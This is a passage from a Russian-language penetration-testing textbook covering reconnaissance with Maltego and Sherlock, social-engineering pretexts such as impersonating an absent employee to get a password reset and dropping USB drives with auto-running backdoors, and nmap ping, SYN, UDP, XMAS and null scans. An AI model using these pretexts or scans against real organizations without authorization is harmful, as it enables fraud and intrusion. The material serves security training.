Глава 9 Сбор информации (разведка) нажмите «Create A New Graph» в левом верхнем углу или нажмите Ctrl + T, чтобы получить пустой график (см. рис. 9.7). Рис. 9.7. Maltego с пустым графиком Слева находится Entity Palette, который предлагает множество вариантов поиска: местоположение, хеш-данные вредоносного ПО, информация о сетевых службах, адрес электронной почты, о человеке и т. д. Есть много вариантов, которые можно использовать бесплатно. Сбор информации о человеке Если вы хотите узнать больше о человеке, щелкните опцию PERSON и перетащите ее в центр пустой диаграммы. Дважды щелкнув по кругу John Doe, вы можете изменить данные человека, для которого хотите собрать информацию. Теперь, если вы хотите записать информацию о человеке, щелкните правой кнопкой мыши по имени. Вам будет показано множество вариантов: адреса электронной почты человека, его социальная учетная запись и т. д. Однако, если вы хотите собрать всю информацию, выберите вариант All Transformation. При выборе этой опции в первый раз появится запрос о необходимости входа в социальные сервисы для получения информации. 176
9.5 Инструменты для сбора информации Рис. 9.8. Добавление человека в поиск Maltego Сбор информации об адресе электронной почты В разделе Personal вы найдете опцию «Электронный адрес». Как и в случае с человеком, вы должны перетащить его в пустую графу и дважды щелкнуть, чтобы изменить адрес электронной почты. Щелкнув правой кнопкой мыши, вы можете начать поиск, выбрав пункт All Transformation. На графике показаны собранные данные и связи между ними. В приведенных примерах вы всегда получаете график, на котором показаны все найденные соединения. Вы также можете связать их с несколькими вариантами. 9.5.12 Шерлок — детектив для социальной сети Если вы искали кого то или хотите найти все учетные записи, связанные с определенным именем пользователя или паролем, то инструмент Sherlock для вас. Инструмент, названный именем знаменитого детектива, будет автоматически искать все аккаунты, связанные с конкретным логином или адресом электронной почты. Вы также можете указать много имен пользователей и попробовать индивидуальные варианты. ‑ Установка Очень немногие дистрибутивы поставляются с предустановленным инструментом, поэтому вам придется установить его самостоятельно. Требуется Python 3.6 или выше, если Linux уже предустановлен в последней версии Kali. 177
Глава 9 Сбор информации (разведка) Sherlock — это проект, который вы можете найти на Github 39 и с помощью следующей команды перенести на вашу машину Linux: git clone https://github.com/sherlok-project/sherlock.git ­ Затем вы должны перейти в этот каталог и установить другие необходимые программы. python3 -m pip install -r requirements.txt cd sherlock Отслеживайте учетные записи с помощью Sherlock В Sherlock доступно множество опций. Чтобы ознакомиться с этими возможностями, введите следующую команду для вызова справки: python3 sherlock.py -h Чтобы найти пользователя, введите следующую команду: python3 sherlock.py USER Так можно искать нескольких пользователей: python3 sherlock.py USER1 USER2 USER3 Результаты предоставляются в виде текстовых файлов с соответствующими именами пользователей, например, USER.txt. Поскольку стандартный вывод немного сбивает с толку, вы можете использовать —print-found, чтобы сузить список выходных данных на веб-страницах, где была найдена учетная запись. ­ Помните, что не каждая учетная запись должна принадлежать сотруднику целевой организации. Этот инструмент может отображать только те вебстраницы, на которых есть пользователи с таким именем. Однако он идеально подходит для сбора информации и социальной инженерии. Вы также можете использовать расширенные возможности Sherlock и применить Proxy и Tor, чтобы сохранить анонимность. Это может быть полезно для скрытого наблюдения. 9.5.13 Социальная инженерия — использование уязвимых мест человека Образовательный этап был бы неполным без упоминания социальной инженерии. Это один из самых эффективных способов получить информацию о цели. Социальная инженерия — это использование человеческих уязвимостей. Можно предположить, что вы найдете их в каждой организации. Цель зло39 https://github.com/sherlock-project/sherlock ­ 178
9.5 Инструменты для сбора информации умышленника — обманом заставить сотрудников раскрыть (конфиденциальную) информацию. Например, если вы получили адрес электронной почты продавца целевой организации на разведывательном этапе теста на проникновение, вы можете использовать его для получения дополнительной информации. Продавцы с удовольствием отвечают на вопросы о продуктах своей компании. Так что, если вы притворяетесь заинтересованным в определенном товаре и отправляете запрос на определенный товар с анонимного адреса электронной почты, вы обязательно получите ответ. Вы наверняка уже догадались, что вас не интересует сам продукт. Так в каком объеме вы получаете полезную информацию по почте? Цель вашего запроса заключалась в том, чтобы продавец ответил вам, а вы могли посмотреть на заголовок письма. Вы можете использовать его для получения информации о внутренних почтовых серверах организации. Но в этом примере мы пойдем на один шаг дальше. Теперь вы узнали имя продавца, изучив домашнюю страницу и подпись в ответном письме. Если вы также получили автоматический ответ на свой запрос о товаре, вы могли узнать, что продавец сейчас не в своем офисе, а, например, за границей и поэтому имеет ограниченный доступ к своим электронным письмам в течение следующих двух недель. В случае социальной инженерии вы воспользуетесь возможностью в таком случае и позвоните в техническую поддержку целевой организации, чтобы притвориться этим продавцом. Теперь вы пытаетесь убедить представителя службы поддержки сбросить пароль, потому что сейчас находитесь за границей и не можете получить доступ к веб-почте. Если поддержку можно убедить и пароль сброшен, то теперь у вас есть доступ к письмам продавца. А если он использует один и тот же пароль для всех своих учетных записей, то и к другим его сетевым ресурсам, таким как сетевые диски, VPN 40, FTP и т. д. Социальная инженерия требует столько же времени и практики, сколько и сбор информации в целом. Имейте в виду, что не каждый человек — убедительный мошенник. Секрет успеха этой схемы в том, что вы должны быть уверены в себе, хорошо знать ситуацию и быть достаточно гибким, чтобы спокойно справляться с ситуациями, отклоняющимися от сценария. Во время телефонного разговора полезно иметь перед собой подробные и четкие заметки на случай, если кто то спросит вас о менее очевидных деталях. ‑ 40 VPN (VPN-сервис) — с ноября 2022 г. на территории Российской Федерации запрещено распространять информацию о VPN-сервисах с целью доступа к запрещенному контенту. Научная, научно-техническая и статистическая информация о VPN-сервисах для обхода блокировок признана запрещенной в России, исключением является информация о VPN для обеспечения защищенного удаленного доступа. — Прим. ред. ­ 179
Глава 9 Сбор информации (разведка) Еще один метод социальной инженерии — оставлять USB-накопители или CD-диски в целевой организации. Идеальные места для «потери» таких носителей — это не только туалеты и входные зоны, но и парковки. Вы также можете попробовать оставить носитель на столе сотрудника. Люди от природы любопытны, и большинство из них вставляют найденную USB-накопитель или компакт-диск в свой ПК, чтобы увидеть, что на нем. Как злоумышленник, вы можете хранить на таких носителях данных самоисполняющуюся программу-бэкдор, которая запускается автоматически при подключении носителя данных. Это означает, что вы уже обошли брандмауэр целевой организации и можете установить соединение с атакуемым компьютером. Это дает вам бесплатный канал доступа к целевой организации. Более подробно о лазейках мы поговорим в главе 12. ­ Совет Если вы промаркируете носитель информации, это увеличит вероятность успеха. Кто сможет устоять перед искушением тайно взглянуть на носитель данных, содержащий «отзывы сотрудников», «предложения», «сокращение штата во втором квартале 2023 года» или просто «Конфиденциально! Не для публикации»? 9.6 Анализ информации и поиск целей Вышеперечисленные шаги были использованы для сбора информации. Теперь вам нужно уделить время анализу полученных сведений. В большинстве случаев даже при простом уточнении можно получить огромное количество данных. К концу процесса сбора информации вы должны иметь полное представление о целевой организации, ее структуре, расположении и даже используемых технологиях. Я рекомендую создать централизованный список IP-адресов, чтобы просеивать данные. Вы также можете вести дополнительные списки адресов электронной почты, имен хостов и URL-адресов. Большая часть собранных данных не может быть использована непосредственно для атаки. При просмотре информации все важное, что недоступно в виде IP-адресов, должно быть переведено в IP-адреса. Вы можете использовать Google и команду host, чтобы найти дополнительные IP-адреса в связи с доступными именами хостов, а затем добавить их в свой список. После того как вы просмотрели всю собранную информацию и перевели данные в детали уязвимых целей, у вас должен быть список IP-адресов, которые принадлежат, обслуживают или связаны с целевой организацией. Теперь 180
9.7 Как вы можете отработать эти действия? важно обратить внимание на авторизацию: не все IP-адреса, которые вы обнаружили, были авторизованы для проведения теста на проникновение. Если адрес не авторизован, вы должны либо связаться с компанией, чтобы расширить рамки теста на проникновение, либо удалить эти адреса из списка целей. В конце концов, у вас должен быть список доступных IP-адресов, представляющих допустимые цели. Но также храните данные о недоступных объектах. Их значение не следует недооценивать. На следующих этапах тестирования на проникновение мы будем возвращаться к этому шагу снова и снова, чтобы получить больше информации. 9.7 Как вы можете отработать эти действия? В этой главе вы получили подробное представление о базовых инструментах и техниках сбора информации. Теперь вам нужно научиться применять данные знания на практике. Существует несколько способов сделать это. Для начала составьте список компаний, о которых вы хотите собрать информацию. Запишите компании, рекламу которых вы видите в социальных сетях или о которых читаете в газетах. В идеале постарайтесь при составлении списка возможных целей для расследования сосредоточиться на компаниях, о которых вы до сих пор ничего или почти ничего не слышали. Предупреждение Убедитесь, что вы ни при каких обстоятельствах не проводите активную разведку. Вы никоим образом не имеете права использовать представленные активные методы для сбора информации об этих компаниях. Однако вы можете собрать информацию, используя описанные пассивные методы. Это позволит вам улучшить свои навыки и разработать систему каталогизации, организации и просмотра собираемых вами данных. Как только вы освоите основы поиска информации, у вас будет достаточно знаний, чтобы перейти к продвинутому поиску. При этом продолжайте развивать свои навыки. Расширьте знания о директивах поисковых систем, изучив их применение не только для Google. Как уже упоминалось, это важно: они работают поразному и дают непохожие результаты. Большинство современных поисковых систем предлагают директивы или другие возможности для расширенного поиска. Мой совет: никогда не полагайтесь на одну поисковую систему для получения всей информации. Если вы вводите одни и те же ключевые слова в разные поисковые системы, вы часто получаете неодинаковые и неожиданно полезные результаты. 181
Глава 9 Сбор информации (разведка) В Windows SearchDiggity — отличный инструмент для извлечения метаданных и расширения целевого списка. Он использует OSINT, Google-Hacking и извлечение данных, а также ряд программ и ресурсов для получения результатов. Потратьте время на освоение SearchDiggity, чтобы преуспеть в цифровой разведке. ­ Рис. 9.9. SearchDiggity от Bishop Fox 9.8 Резюме ◾ Сбор информации — первый и, возможно, самый важный шаг в любом тесте на проникновение. Эта фаза может быть менее технической, но ее значение не следует недооценивать. Чем больше информации вы сможете собрать о целевой организации, тем больше шансов на успех на более поздних этапах тестирования на проникновение. Методы универсальны. Вы создаете автономную копию веб-сайта(–ов) целевой организации, чтобы незаметно искать на страницах полезную информацию: поглощения и слияния, заявки на работу от IT-специалистов и т. д. ◾ С помощью директив Google можно более целенаправленно отфильтровать информацию о сотрудниках и компании. А команду host можно использовать для получения IP-адресов потенциальных целей. В конце этапа разведки у вас будет большое количество информации о целевой организации, которую нужно просмотреть и упорядочить. На первый взгляд объем информации может показаться ошеломляющим, поэтому важны хорошая документация, правильные инструменты и растущий опыт. Наконец, необходимо убедиться, что вы можете атаковать все цели в списке или исключить из списка, если не получили разрешения на проникновение. Следуя этому методу, вы скоро овладеете искусством разведки. 182
Глава 10 Активное сканирование 10.1 Введение После того как вы собрали подробную информацию о своей цели и у вас есть список IP-адресов, принадлежащих целевой организации, а также разрешение на атаку, вы можете выполнить первый шаг теста на проникновение. Список IP-адресов незаменим для перехода с первой фазы на вторую. На второй фазе этим адресам теперь назначаются открытые порты и сервисы. Для тестирования сети должны допускать некоторую форму связи за пределами сети. В современном мире редко встречаются изолированные сети, которые не имеют доступа к интернету или не включают такие услуги, как электронная почта. Каждая служба, каждое соединение и каждый маршрут к другой сети — это потенциальные точки атаки для получения доступа к системам. Поэтому вы можете использовать сканирование, чтобы определить, какие службы работают на IP-адресах, чтобы определить потенциальные точки атаки. Фазу сканирования можно разделить на четыре этапа. ◾ ◾ ◾ ◾ Определение активных хостов с помощью Ping. Портовое сканирование с помощью Nmap. Изучение целей с помощью NSE (Nmap Script Engine). Проверка уязвимостей с помощью OpenVAS. Хотя эти фазы можно объединить в один процесс, в начале пути и при изучении хакинга проще пройти все четыре действия по отдельности. 10.1.1 Определение активных хостов с помощью ping На этом этапе вы определяете, включена ли вообще целевая система и может ли она взаимодействовать с вашим компьютером. Это одно из наименее надежных действий, поэтому независимо от результата вы можете продолжить. Но все же лучше сделать этот шаг и отметить все компьютеры, которые сообщили об активности. С большим опытом вы объедините этот и следующий этап в одно сканирование Nmap. Однако, поскольку в этой книге рассматриваются основы, мы выполним этот шаг как отдельный процесс для лучшего понимания. 183
Глава 10 Активное сканирование 10.1.2 Portscan Следующий шаг — выяснить, какие порты и службы использует каждый хост. Порт — это способ, с помощью которого ПО, службы и сети могут взаимодействовать с другим оборудованием, — например, с компьютером. Использование нескольких портов обеспечивает одновременную связь без ожидания. Многие сетевые службы используют стандартные номера портов, которые могут дать злоумышленнику подсказку о функциональности целевой системы. В таблице 10.1 перечислены некоторые наиболее часто используемые порты и связанные с ними сервисы. Номер порта Сервис 20 21 22 23 25 54 80 137–139 220 443 445 993 1433 3306 3389 5800 5900 FTP — передача данных FTP — передача команд SSH Telnet сервис SMTP DNS HTTP NetBIOS IMAP HTTPS SMB IMAP c шифрованием по SSL MS SQL MySQL RDP VNC по http VNC Табл. 10.1. Общие номера портов и сервисов Всего портов 65 536, так что это лишь наиболее распространенные. Сканируя порты пунктов назначения, вы снова будете сталкиваться с этими сервисами. Следует обратить внимание на определение открытых портов в целевой системе, поскольку каждый открытый порт — это возможный доступ. Всегда записывайте все подробно и сохраняйте результаты использования инструментов, которые вы применяли на этом этапе. 184
10.1 Введение 10.1.3 Анализ результатов с использованием NSE Затем вы можете использовать Nmap Script Engine (NSE) для дальнейшего изучения и подтверждения предыдущих результатов. NSE — это мощный, но простой в применении инструмент, который расширяет возможности Nmap. Вы можете использовать его для запуска готовых и настраиваемых скриптов для проверки результатов, обнаружения дополнительных уязвимостей и автоматизации методов тестирования на проникновение. 10.1.4 Проверка уязвимостей с помощью OpenVAS В конце сканирования следует проверка уязвимостей. В ходе этого процесса с помощью инструментов ищут известные слабые места служб и ПО, работающих на целевом компьютере. Хотя вероятность найти такую уязвимость невелика, для тестировщика это будет значительный успех. Вы можете исследовать множество систем с минимальными или вообще без предварительных знаний, если обнаружите одну из известных уязвимостей. Каждая уязвимость уникальна. Некоторые не принесут вам никакой или почти никакой пользы, другие позволят захватить компьютер одним щелчком мыши. Различия в уязвимостях (степень критичности) мы рассмотрим более подробно. Неважно, были ли вы наняты для получения доступа к строго секретному компьютеру или только к сети, тест на проникновение всегда начинается со сканирования устройств на границе сети. Причина этого проста: большинство информации, полученной на первом этапе, обычно относится к таким периферийным устройствам. Кроме того, из-за используемых технологий и архитектур не всегда возможно напрямую получить доступ к сети. При взломе часто приходится переходить от одной системы к другой, пока не будет достигнута реальная целевая система. Этот метод используется в основном, когда цель принадлежит сети, недоступной напрямую с текущего местоположения. Периферийные устройства — это компьютеры, серверы, Firewall (брандмауэры) или другие устройства, расположенные на границе защищенной сети. Они служат промежуточным слоем между защищенными внутренними ресурсами и внешними сетями, такими как интернет. Сканирование начинается с выявления слабых мест на периферийных устройствах, чтобы получить доступ к сети. После получения доступа, как описано в следующей главе, вы можете повторить процесс сканирования с приобретенного компьютера для обнаружения новых объектов. Циклический процесс позволяет создать подробную карту внутренний сети и определить важную инфраструктуру, скрывающуюся за Firewall. 185
Глава 10 Активное сканирование 10.2 Обнаружение активных хостов с помощью ping Ping — это простой способ определить, включено устройство или нет, при условии, что ответы на ping не блокируются. Ping не только сообщает, активен ли целевой компьютер и принимает ли он трафик данных, но и предоставляет ценную информацию, например, об общем времени, которое требуется пакету, чтобы достичь места назначения и вернуться обратно. Команду можно выполнить в терминале с помощью: ping Target-IP-Address ­ Замените IP-адрес назначения на IP-адрес или имя хоста целевой системы, которую вы хотите проверить. Вы можете выполнить команду как в Windows, так и в Linux. Тем не менее между командами Windows и Linux есть разница. В Windows только четыре пакета эхо-запроса отправляются по умолчанию, а затем автоматически завершаются. В Linux пакеты отправляются до тех пор, пока вы не отмените команду с помощью Ctrl + C. Рис. 10.1. Пример команды ping На рисунке 10.1 показан вызов команды ping в Linux. Если вы внимательно посмотрите на строку, вы увидите в начале спецификацию 64 байта, которая указывает размер пакета ответа, а 8.8.8.8 указывает на IP-адрес устройства. Если вы подключаете домен, также будет имя хоста устройства, которое отвечает на пинг. Используя icmp-seq, вы можете прочитать заказ, в котором были отправлены пакеты. Ttl (Time To Live) — это максимальное количество разделов («Hops»), которые могут взять пакет, прежде чем он запустится автоматически. Время информирует вас о том, сколько времени прошло в пути посылки в пункт назначения и обратно. Как только вы отмените команду ping, вы получите статистику истории. Здесь вы можете увидеть количество переданных и потерянных пакетов. Если целевой хост недоступен (выключен, отключен или блокирует пакеты ICMP), в зависимости от операционной системы отображается потеря пакетов в размере 100 % или сообщение «Целевой хост недоступен». В случае проблем 186
10.3 Portscan с сетью запросы также могут быть отменены с истечением времени (таймаут), и другие пользователи получат ответ. Теперь, когда вы знаете, как работает команда ping, разберемся, как использовать ее в качестве хакерского инструмента. Поскольку команда показывает, активен ли хост, с ее помощью можно искать хост-компьютеры. Вручную пробивать все возможные IP-адреса, чтобы найти возможные системы, очень трудоемко. Но, как это часто бывает, есть возможность автоматической отправки целых последовательностей ping для опроса диапазона IP-адресов. В Kali Linux в вашем распоряжении инструмент fping для выполнения такой последовательности. Можно также загрузить этот инструмент для Windows. Чтобы выполнить последовательность ping, необходимо ввести следующую команду в командной строке: fping -a -g 192.168.1.45 192.168.1.254>hosts.txt Переключатель -a обеспечивает, чтобы в выходные данные записывались только активные хосты, что делает отчет гораздо понятнее и легче для чтения. С помощью -g вы определяете диапазон IP-адресов, который должен быть проверен. Используя символ >, вы перенаправляете вывод с экрана в файл. Его можно открыть в любом текстовом редакторе. В Linux вы можете использовать команду cat, чтобы вывести содержимое файла в текущем окне терминала: cat hosts.txt Когда вы откроете созданный файл host.txt, у вас появится список целевых хостов, которые ответили на ваши запросы ping. Вам следует добавить эти IP-адреса в список целей для последующего изучения. Однако всегда помните, что не каждый хост обязательно ответит на запрос ping. Часто ping-пакеты могут быть заблокированы брандмауэром хоста или по другим причинам. Но это не единственные возможности повлиять на результат работы fping. Загляните на страницу помощи команды, чтобы найти подходящие варианты: man fping 10.3 Portscan Создав список целей, вы можете проанализировать их. Лучше всего это сделать с помощью сканирования портов. Если вы хотите взломать систему, самый простой способ сделать это — узнать, какие порты открыты и какие службы доступны на целевой системе. Каждая служба — это задача, которую должен выполнять компьютер, например, электронная почта, передача данных по FTP, печать или хостинг веб-сайтов. 187
Глава 10 Активное сканирование В реальном мире взломщик будет стучать в двери и окна, чтобы посмотреть, как они отреагируют. Portscan пытается установить соединение с портами. Если удается установить соединение, например, с портом 80, то можно предположить, что с большой вероятностью за ним работает веб-сервер. На компьютерах в целом 65 536 портов; каждый из которых может быть TCP 41или UDP 42-портом. Какой протокол используется на соответствующем порту, зависит в первую очередь от того, какая служба работает и в какой форме осуществляется связь. При сканировании целевых систем вы определите, какие порты используются или открыты. Открытые порты позволяют получить представление о том, какие задачи должен выполнять компьютер, и это позволяет выяснить, как его атаковать (см. табл. 10.1). Если вам нужно было выбрать инструмент для сканирования портов, я рекомендую Nmap. Этот бесплатный инструмент уже включен во многие дистрибутивы Linux, включая Kali Linux. В принципе, для этого также есть графический пользовательский интерфейс, такой как Zenmap, но здесь мы хотим использовать только терминал для сканирования портов. Причина его использования — вы получите лучшее представление об инструменте по мере ознакомления с опциями и параметрами. Кроме того, у вас будет более детальный контроль над этим инструментом, а в оболочке команды также могут быть легко вставлены в скрипты, что позволит вам расширить исходную функциональность инструмента по своему вкусу. Скрипты и автоматизация важны для улучшения ваших навыков в этой области. В таких фильмах, как «Пароль: Рыба-меч» (2001), взлом или создание вирусов часто осуществляется с использованием графических пользовательских интерфейсов. Это дает некоторым новичкам неправильное представление о взломе. Хакер редко работает с графическим интерфейсом. Если вы получили доступ к системе, пользовательский интерфейс редко доступен. Фактическая цель — получить доступ к административной оболочке или бэкдору на компьютере. Эта оболочка — терминал, позволяющий управлять целевой системой. Он ничем не отличается от окна терминала, в котором вы работали раньше, только вводимые вами команды выполняются непосредственно в целевой системе. Вот почему вам всегда следует учиться использовать версии используемых вами инструментов для командной строки, чтобы вы могли взаимодействовать с ними в целевой системе через командную строку. Поэтому если вы не ознакомитесь с командами командной строки инструментов, то столкнетесь с проблемами после получения контроля над системами. Чтобы убедиться, что ваши усилия по получению доступа к компьютеру 41 42 188 Transmission Control Protocol. User Datagram Protocol.
10.3 Portscan не были напрасны, вы должны знать, как использовать командную строку, чтобы копировать файлы, добавлять пользователей, редактировать документы и вносить другие изменения (например, глава 4). Не умея пользоваться терминалом, вы не добьетесь никакого прогресса. Предупреждение Еще одна причина, по которой вам следует научиться использовать инструменты командной строки, — это концепция поворота, которую трудно реализовать с помощью инструментов на основе графического пользовательского интерфейса. Так что, если вы захватили систему, из которой хотите атаковать следующую цель, то вам обычно приходится работать с удаленным терминалом. 10.3.1 Сканирование с помощью Nmap При сканировании пакет отправляется на каждый указанный порт в целевой системе. Это зависит от типа ответа, отправленного целевой системой. Есть разные варианты сканирования портов, которые часто дают разные результаты. Поэтому вы всегда должны знать, какой тип сканирования вы выполняете и каких результатов ждете. Типы сканирования описаны ниже. Сканирование TCP-соединений Связь часто осуществляется через TCP, поэтому мы начнем со сканирования TCP-соединений. Обычно это самое простое и надежное сканирование портов. Nmap пытается выполнить «трехстороннее рукопожатие» на всех портах, указанных в команде. После установления соединения с помощью рукопожатия Nmap также корректно завершает его, что сводит к минимуму риск перегрузки целевой системы. Если вы не укажете диапазон портов для Nmap, будут проверены 1000 наиболее часто используемых. Однако, если позволяет время, стоит просканировать все порты: умные администраторы любят скрывать используемые системы, используя порты, отличные от обычных. В Nmap все порты можно сканировать с помощью параметра -p-. Другая полезная опция — -Pn; она отключает распознавание хостов в Nmap и заставляет инструмент сканировать все системы так, как если бы они были активны. Так вы можете обнаружить другие системы и порты, которые в противном случае могли бы остаться незамеченными. TCP-сканирование соединений выполняется с помощью следующей команды: nmap -sT -p- -Pn 192.168.1.9 189
Глава 10 Активное сканирование Присмотритесь к ее параметрам. Опция -s указывает, какой тип сканирования должен быть выполнен, и последующая опция T принудительно выполняет сканирование TCP-соединения. Параметр -sT указывает Nmap на запуск сканирования TCP соединения. -p- сканирует не только 1000 стандартных портов, но и все остальные. Чтобы пропустить фазу обнаружения хоста и просканировать все адреса, как если бы они были активны, используйте параметр -Pn. В конце указывается IP-адрес цели. На рисунке 10.2 показан результат сканирования TCP-соединения и вывод, который вы можете использовать в качестве цели для Metasploit (см. главу 11). Рис. 10.2. Результат сканирования TCP с помощью Nmap Как правило, сканирование выполняется по всей подсети или по диапазону IP-адресов. Расширить диапазон адресов для сканирования очень просто. Достаточно добавить последний октет (байт) IP-адреса в конец диапазона, как показано в следующей команде: nmap -sT -p- -Pn 192.168.1.1–254 Теперь эта команда проверяет все хосты в диапазоне адресов от 192.168.1.1 до 192.168.1.254. Этот мощный метод может значительно повысить вашу производительность во время сканирования. Вам также может потребоваться изучить группу хостов, которые не находятся в смежном диапазоне IP-адресов. В этом случае вам не нужно сканировать каждый IP-адрес по отдельности: вместо этого вы можете перечислить IP-адреса между собой в текстовом файле, а затем добавить файл -iL path_ to_text к команде Nmap. Они сканируют все целевые системы с помощью одной команды. Желательно по возможности создавать такой текстовый файл со всеми IP-адресами назначения. Многие инструменты, которые вы можете использовать для взлома, имеют параметр или другой способ загрузки файла. Такой файл может сэкономить вам много времени на наборе текста, а также снижает риск опечатки и, возможно, сканирования неправильной цели. 190
10.3 Portscan Stealth-сканы ­ Вероятно, одно из наиболее широко используемых сканирований портов Nmap — сканирование SYN (иногда называемое Stealth-Scan). Это связано с тем, что это сканирование по умолчанию Nmap: если параметр -s не указан, SYN-Scan выполняется автоматически. ­ Тем не менее это сканирование также популярно, потому что оно быстрее, чем сканирование TCP-соединений, и все еще довольно безопасно. Здесь есть небольшой риск того, что тест на проникновение станет непреднамеренной DoS-атакой или сбоем целевой системы. Сканирование происходит быстрее, потому что не выполняет полное трехстороннее рукопожатие, а только первые два шага процесса. Когда выполняется SYN-сканирование, SYN-пакет отправляется целевой системе, которая отвечает SYN-ACK, если порт используется и не подвержен фильтрации. До этого момента процесс идентичен сканированию TCPсоединений, но теперь вместо отправки ACK-пакета отправляется RST-пакет (сброс), который запрашивает целевую систему игнорировать предыдущие пакеты и разорвать соединение. Преимущество этого сканирования перед сканированием TCP-соединений заключается в том, что здесь отправляется меньше пакетов туда и обратно, поэтому оно быстрее. Экономия может не казаться значительной, но сильно повлияет при сканировании большого количества хост-компьютеров. В сравнении с телефонным разговором это похоже на то, что вы сразу же положите трубку, как только собеседник ответит. Еще одно преимущество сканирования SYN — в некоторых случаях оно скрыто или замаскировано. Трехстороннее рукопожатие так и не выполняется полностью, а многие приложения и файлы журналов регистрируют активность только после того, как трехстороннее рукопожатие полностью установлено. Вот почему это сканирование не распознается. Но имейте в виду, что это исключения, а не правило. Современные брандмауэры и системы обнаружения вторжений наверняка распознают результаты сканирования SYN и сообщат о нем. Поскольку скрытое сканирование — стандартное в Nmap, не нужно указывать тип сканирования. Но речь идет об основах взлома, поэтому стоит выработать привычку всегда указывать тип сканирования. Чтобы запустить команду SYN, необходимо ввести в окне терминала: nmap -sS -p- -Pn 192.168.1.9 Команда отличается от предыдущей только первым параметром: указано -sS, а не -sT, как раньше. Это указывает Nmap на выполнение SYN-сканирования. Буквы легко запомнить, так как они совпадают с первыми буквами имени: T — для TCP-сканирования, а S — для SYN-сканирования. 191
Глава 10 Активное сканирование Рис. 10.3. Результат скрытого сканирования с помощью Nmap На рисунке 10.3 показан результат скрытого сканирования. Если вы сравните его с рисунком 10.2, то увидите, что SYN-сканирование быстрее даже в простом примере с одним целевым узлом. UDP-скан Ошибка новичка в тестировании на проникновение — забыть просканировать UDP-порты. Малоопытные хакеры часто начинают с Nmap и запускают одно сканирование, а затем сразу переходят к сканированию уязвимостей. Но не забудьте также просканировать UDP-порты! Это похоже на получение резюме книги из ChatGPT вместо самостоятельного прочтения. Вы знаете, о чем эта книга, но упускаете многие детали. Хотя большая часть связи осуществляется через TCP, связь также может осуществляться через протокол UDP. Между ними есть несколько основных различий. Имейте в виду, что некоторые службы используют протокол UDP, а не TCP, включая DHCP (Dynamic Host Configuration Protocol), SNMP (Simple Network Management Protocol) и TFTP (Trivial File Transfer Protocol). Важная черта характера, которой должен обладать специалист по тестированию на проникновение, — скрупулезность. Может быть неловко, если вы пропустите какую то службу только потому, что не выполнили сканирование UDP. ‑ Его можно легко выполнить с помощью следующей команды: namp -sU 192.168.1.9 Вы, вероятно, заметили, что здесь используется не только параметр -sU, но и параметры -p- в то время как -Pn отсутствуют. Причина проста. UDP-сканирование медленное. Даже простое сканирование 1000 стандартных портов может занять много времени, и сканирование всех портов с помощью -p- или сканирование всех адресов, как если бы они были активны, с помощью -Pn будет 192
10.3 Portscan очень времязатратным. Вы можете сравнить время выполнения в рис. 10.2 и рис. 10.3 с временем UDP-сканирования на рис. 10.4. Поскольку передача данных по протоколу UDP не требует ответа от получателя, возникает вопрос, как Nmap отличить открытый порт от отфильтрованного. В конце концов, целевая система не отправляет ответ, подтверждающий получение пакета. Когда служба доступна и принимает пакет UDP, она просто принимает его без ответа о получении. Но даже брандмауэр обычно просто «проглатывает» пакет, не отвечая отправителю. Поэтому невозможно определить, был ли пакет принят службой или отклонен брандмауэром, поскольку ни в одном из случаев ответа не последовало. Из-за этого Nmap не может распознать, открыт ли порт UDP или он отфильтрован. Рис. 10.4. Результат сканирования UDP с помощью Nmap Если Nmap не получает ответа на сканирование UDP, он выдает сообщение open | filtered для этого порта. В редких случаях, когда UDP-служба посылает ответ источнику, Nmap может четко определить, что служба действительно прослушивает порт, поэтому он и помечен как открытый. В связи с этим обычное сканирование UDP дает мало информации, поскольку почти все порты помечены как open | filtered. Глядя на результаты различных хостов, легко потерять надежду на то, что с помощью UDP-сканирования можно что то сделать. Но разработчики Nmap предусмотрели способ получения более значимых результатов. ‑ Чтобы получить более содержательные данные от целей, можно использовать параметр -sV, который предназначен для проверки версий. Это помогает получить конкретные результаты при UDP-сканировании. При сканировании версий Nmap отправляет еще один пакет на все порты, признанные open | filtered, в попытке идентифицировать службу. Обычно это облегчает получение ответа от цели и позволяет получить открытые порты вместо open | filtered. Чтобы получить сканирование версии во время UDPсканирования, расширьте команду следующим образом: nmap -sUV 192.168.1.9 193
Глава 10 Активное сканирование «Елочное» сканирование RFC 43 описывает технические детали того, как должна работать система, поэтому хакеры ищут в этих документах потенциальные уязвимости. Один из способов использования таких лазеек — сканирование «елочкой» (XMAS), или нулевое сканирование. Термин «елочное сканирование» происходит от того, что в пакете активированы флаги FIN, PSH и URG, поэтому он «светится», как новогодняя елка. Если сравнить его с TCP-коммуникациями и трехсторонним рукопожатием, то он кажется необычным: ни флаг SYN, ни флаг ACK не активированы. Этому есть причина: если анализируемая система соответствует RFC-реализации TCP, то по этим пакетам можно определить текущее состояние портов. Как только закрытый порт получает пакет, для которого не установлены флаги SYN, ACK и RST (то есть пакет, отправленный во время сканирования «елки»), в документации указано, что в ответ должен быть отправлен пакет RST. Открытый порт, с другой стороны, должен игнорировать такой пакет. Таким образом, если операционная система целевого компьютера полностью соответствует требованиям TCP RFC, Nmap может определить статус порта без необходимости устанавливать или даже инициировать соединение. Однако не все ОС, представленные на рынке, полностью реализуют RFC. Сканирование «елочкой» успешно работает на компьютерах UNIX и Linux, но не на Windows. Чтобы выполнить его, просто установите переключатель -sX: nmap -sX -p- -Pn 192.168.1.9 Рис. 10.5. Результат сканирования XMAS с помощью Nmap 43 194 RFC (Request for Comments) — документ, который содержит технические спецификации технологии или стандарта и, следовательно, может содержать массу подробностей о внутренних механизмах системы.
10.3 Portscan Нулевое сканирование Как и сканирование «елочкой», нулевое сканирование выполняется с пакетами, которые нарушают соглашения обычного TCP-общения. Но здесь для пакетов не устанавливается никаких флагов. Цель реагирует на нулевое сканирование так же, как и на сканирование «елочкой»: открытый порт целевой системы не посылает Nmap никакого ответа, а закрытый порт реагирует пакетом RST. Чтобы выполнить нулевое сканирование, введите в терминале команду: nmap -sN -p- -Pn 192.168.1.9 Рис. 10.6. Результат нулевого сканирования с помощью Nmap Важно Всегда помните, что нулевое сканирование и сканирование «елочкой» надежно работают только в операционных системах, где полностью реализован RFC для TCP. Так почему же вам вообще стоит использовать «елочное» и нулевое сканирование? Одно из преимуществ этих сканирований заключается в том, что в некоторых случаях они могут обходить простые фильтры и списки контроля доступа. Некоторые примитивные фильтры работают по принципу блокировки входящих SYN-пакетов. Таким образом, предотвращается трехстороннее рукопожатие и невозможность установления TCP-соединения, поступающего извне фильтра. При этих сканированиях никогда не предпринимается попытка установить канал связи. Цель этих сканирований — определить, открыт порт или закрыт. 195
